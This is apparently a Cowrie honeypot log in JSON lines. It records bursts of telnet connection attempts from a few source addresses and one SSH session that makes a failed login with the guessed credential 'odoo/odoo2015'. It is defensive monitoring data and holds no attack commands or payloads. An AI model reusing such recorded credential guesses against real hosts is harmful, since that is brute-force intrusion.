{"eventid":"cowrie.session.closed","duration":31.37397027015686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.832508Z","src_ip":"187.45.176.130","session":"240ea4a3c5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2574a84af3d3","protocol":"telnet","message":"New connection: 103.153.64.19:38930 (10.17.0.5:23) [session: 2574a84af3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.847059Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"45144e8478d2","protocol":"telnet","message":"New connection: 103.153.64.19:38946 (10.17.0.5:23) [session: 45144e8478d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.972512Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6665ddca3b","protocol":"telnet","message":"New connection: 203.1.9.18:40476 (10.17.0.5:23) [session: 8b6665ddca3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:19.354926Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":39469,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10a2510c72d","protocol":"telnet","message":"New connection: 185.116.212.16:39469 (10.17.0.5:23) [session: c10a2510c72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:19.581979Z"}
{"eventid":"cowrie.session.closed","duration":30.584434986114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:19.720921Z","src_ip":"203.1.9.18","session":"a81b3816b4d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38954,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c8efd3297a","protocol":"telnet","message":"New connection: 103.153.64.19:38954 (10.17.0.5:23) [session: f0c8efd3297a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:20.772400Z"}
{"eventid":"cowrie.session.closed","duration":30.52336597442627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:21.137081Z","src_ip":"103.153.64.19","session":"ea0405bf76a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480361461639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:21.590752Z","src_ip":"203.1.9.18","session":"901bfa055c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40484,"dst_ip":"10.17.0.5","dst_port":23,"session":"2280bc0cb3ba","protocol":"telnet","message":"New connection: 203.1.9.18:40484 (10.17.0.5:23) [session: 2280bc0cb3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:22.197799Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40500,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd73a507b1fc","protocol":"telnet","message":"New connection: 203.1.9.18:40500 (10.17.0.5:23) [session: cd73a507b1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:22.633999Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9731d3cf8f48","protocol":"telnet","message":"New connection: 103.153.64.19:38968 (10.17.0.5:23) [session: 9731d3cf8f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:22.645598Z"}
{"eventid":"cowrie.session.closed","duration":30.594950437545776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:23.292766Z","src_ip":"187.45.176.130","session":"25a910dd878b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77645707130432,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:23.455082Z","src_ip":"203.1.9.18","session":"777de3e51f1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40516,"dst_ip":"10.17.0.5","dst_port":23,"session":"069860032b4a","protocol":"telnet","message":"New connection: 203.1.9.18:40516 (10.17.0.5:23) [session: 069860032b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:23.915901Z"}
{"eventid":"cowrie.session.closed","duration":30.514071464538574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:24.569362Z","src_ip":"203.1.9.18","session":"0bd057048707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017061471939087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:24.580404Z","src_ip":"203.1.9.18","session":"5f8ce9b7c18d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38972,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e8cbec1c88","protocol":"telnet","message":"New connection: 103.153.64.19:38972 (10.17.0.5:23) [session: f8e8cbec1c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:24.649297Z"}
{"eventid":"cowrie.session.closed","duration":31.049185514450073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:24.682743Z","src_ip":"203.1.9.18","session":"45d699324926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d849ab37c53","protocol":"telnet","message":"New connection: 203.1.9.18:40528 (10.17.0.5:23) [session: 4d849ab37c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:24.992271Z"}
{"eventid":"cowrie.session.closed","duration":30.517771005630493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:25.123941Z","src_ip":"103.153.64.19","session":"45f2f5201127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd9a4e55871","protocol":"telnet","message":"New connection: 203.1.9.18:40544 (10.17.0.5:23) [session: 4cd9a4e55871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:25.485920Z"}
{"eventid":"cowrie.session.closed","duration":30.961623191833496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:25.633624Z","src_ip":"203.1.9.18","session":"695fd09b6f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"0451029b6baa","protocol":"telnet","message":"New connection: 187.45.176.130:38364 (10.17.0.5:23) [session: 0451029b6baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:26.336538Z"}
{"eventid":"cowrie.session.closed","duration":30.882424354553223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:26.587820Z","src_ip":"203.1.9.18","session":"9cebd7677c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314143180847168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:26.593755Z","src_ip":"203.1.9.18","session":"42a5f551f6a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40558,"dst_ip":"10.17.0.5","dst_port":23,"session":"55eca30d5b60","protocol":"telnet","message":"New connection: 203.1.9.18:40558 (10.17.0.5:23) [session: 55eca30d5b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:26.665518Z"}
{"eventid":"cowrie.session.closed","duration":30.685511350631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:26.778974Z","src_ip":"203.1.9.18","session":"799e49092089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62699031829834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:26.868937Z","src_ip":"203.1.9.18","session":"385993802335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40560,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb689cc9d4d","protocol":"telnet","message":"New connection: 203.1.9.18:40560 (10.17.0.5:23) [session: bfb689cc9d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:27.235150Z"}
{"eventid":"cowrie.session.closed","duration":31.392009973526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:27.420344Z","src_ip":"203.1.9.18","session":"039e9376cead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798030614852905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:27.608322Z","src_ip":"203.1.9.18","session":"3519bbc99d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":40570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f0f217884d0","protocol":"telnet","message":"New connection: 203.1.9.18:40570 (10.17.0.5:23) [session: 8f0f217884d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:27.630884Z"}
{"eventid":"cowrie.session.closed","duration":30.458784580230713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:28.169766Z","src_ip":"103.153.64.19","session":"fd558829831a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":38376,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2c9f69c8c81","protocol":"telnet","message":"New connection: 187.45.176.130:38376 (10.17.0.5:23) [session: e2c9f69c8c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:28.779494Z"}
{"eventid":"cowrie.session.closed","duration":30.621522426605225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:29.269560Z","src_ip":"103.153.64.19","session":"8f52c4f24b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"c60ea05d68aa","protocol":"telnet","message":"New connection: 187.45.176.130:38380 (10.17.0.5:23) [session: c60ea05d68aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:29.552056Z"}
{"eventid":"cowrie.session.closed","duration":30.677945852279663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:29.585669Z","src_ip":"203.1.9.18","session":"0089c1133e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":59286,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44d7dc3fd6c","protocol":"telnet","message":"New connection: 103.153.64.19:59286 (10.17.0.5:23) [session: a44d7dc3fd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:29.600871Z"}
{"eventid":"cowrie.session.closed","duration":31.120296716690063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.163386Z","src_ip":"103.153.64.19","session":"b5373919ae39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":59296,"dst_ip":"10.17.0.5","dst_port":23,"session":"3371546843a6","protocol":"telnet","message":"New connection: 103.153.64.19:59296 (10.17.0.5:23) [session: 3371546843a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.430849Z"}
{"eventid":"cowrie.session.closed","duration":30.683248281478882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.628628Z","src_ip":"203.1.9.18","session":"68c02ea36a10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":59304,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f94ba9f508","protocol":"telnet","message":"New connection: 103.153.64.19:59304 (10.17.0.5:23) [session: b4f94ba9f508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.669617Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"992b7964884b","protocol":"telnet","message":"New connection: 203.1.9.18:33476 (10.17.0.5:23) [session: 992b7964884b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.755802Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":33484,"dst_ip":"10.17.0.5","dst_port":23,"session":"474760422a6c","protocol":"telnet","message":"New connection: 203.1.9.18:33484 (10.17.0.5:23) [session: 474760422a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.845495Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":33498,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aa1d5e6da44","protocol":"telnet","message":"New connection: 203.1.9.18:33498 (10.17.0.5:23) [session: 1aa1d5e6da44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:30.883879Z"}
{"eventid":"cowrie.session.closed","duration":31.226646184921265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.002395Z","src_ip":"203.1.9.18","session":"adf8e2e859af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12546443939209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.307548Z","src_ip":"103.153.64.19","session":"b63db7c50ad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad16fc4201c2","protocol":"telnet","message":"New connection: 187.45.176.130:38390 (10.17.0.5:23) [session: ad16fc4201c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.324520Z"}
{"eventid":"cowrie.session.closed","duration":31.486700773239136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.366154Z","src_ip":"103.153.64.19","session":"f021ca73dcbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26780390739441,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.384671Z","src_ip":"203.1.9.18","session":"610ee7728d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.257244110107422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.728620Z","src_ip":"203.1.9.18","session":"e7a99b6c2330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":59308,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7dfcaf7ef0e","protocol":"telnet","message":"New connection: 103.153.64.19:59308 (10.17.0.5:23) [session: f7dfcaf7ef0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:31.809401Z"}
{"eventid":"cowrie.session.closed","duration":31.207106113433838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.171785Z","src_ip":"103.153.64.19","session":"0851682d9702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"92db45033132","protocol":"telnet","message":"New connection: 187.45.176.130:43592 (10.17.0.5:23) [session: 92db45033132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.427872Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":59310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7991839827","protocol":"telnet","message":"New connection: 103.153.64.19:59310 (10.17.0.5:23) [session: 8e7991839827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.527759Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":43600,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2592b3812a","protocol":"telnet","message":"New connection: 187.45.176.130:43600 (10.17.0.5:23) [session: 1a2592b3812a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.569734Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":59398,"dst_ip":"159.203.135.109","dst_port":22,"session":"62cfff94359d","protocol":"ssh","message":"New connection: 45.78.208.179:59398 (159.203.135.109:22) [session: 62cfff94359d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.734205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.804734Z","src_ip":"45.78.208.179","session":"62cfff94359d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":33524,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d6a80422c2a","protocol":"telnet","message":"New connection: 203.1.9.18:33524 (10.17.0.5:23) [session: 6d6a80422c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:32.901623Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:33.036677Z","src_ip":"45.78.208.179","session":"62cfff94359d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.311331748962402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:33.285690Z","src_ip":"203.1.9.18","session":"159e87f305dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":33510,"dst_ip":"10.17.0.5","dst_port":23,"session":"822ebf148ad7","protocol":"telnet","message":"New connection: 203.1.9.18:33510 (10.17.0.5:23) [session: 822ebf148ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:33.441868Z"}
{"eventid":"cowrie.session.closed","duration":30.16718029975891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:33.624680Z","src_ip":"203.1.9.18","session":"42498fc9e66d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861341953277588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:33.628962Z","src_ip":"203.1.9.18","session":"33288485b38b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo2015","message":"login attempt [odoo/odoo2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:34.033906Z","src_ip":"45.78.208.179","session":"62cfff94359d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.503644704818726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:34.172104Z","src_ip":"187.45.176.130","session":"8db58ea44eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459190607070923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:34.551723Z","src_ip":"203.1.9.18","session":"004f8253b3b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6618492603302,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:34.561970Z","src_ip":"203.1.9.18","session":"59b3d12cedf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10046672821045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:34.598360Z","src_ip":"203.1.9.18","session":"34677693bba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96711015701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:34.716413Z","src_ip":"203.1.9.18","session":"9e88d77c9331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523202180862427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:35.138340Z","src_ip":"103.153.64.19","session":"9fd335c9b68e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.600491762161255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:35.204795Z","src_ip":"103.153.64.19","session":"c6bbd82daf1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:35.272096Z","src_ip":"45.78.208.179","session":"62cfff94359d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52408766746521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:35.603203Z","src_ip":"203.1.9.18","session":"16815a4393a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44526505470276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:35.845072Z","src_ip":"203.1.9.18","session":"ba1cbd1b131c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871614456176758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:36.660574Z","src_ip":"203.1.9.18","session":"24c0b85323ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72843050956726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:37.123720Z","src_ip":"103.153.64.19","session":"1ee367b0381c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.357537031173706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:37.738993Z","src_ip":"203.1.9.18","session":"253a5542f85a","protocol":"telnet"}
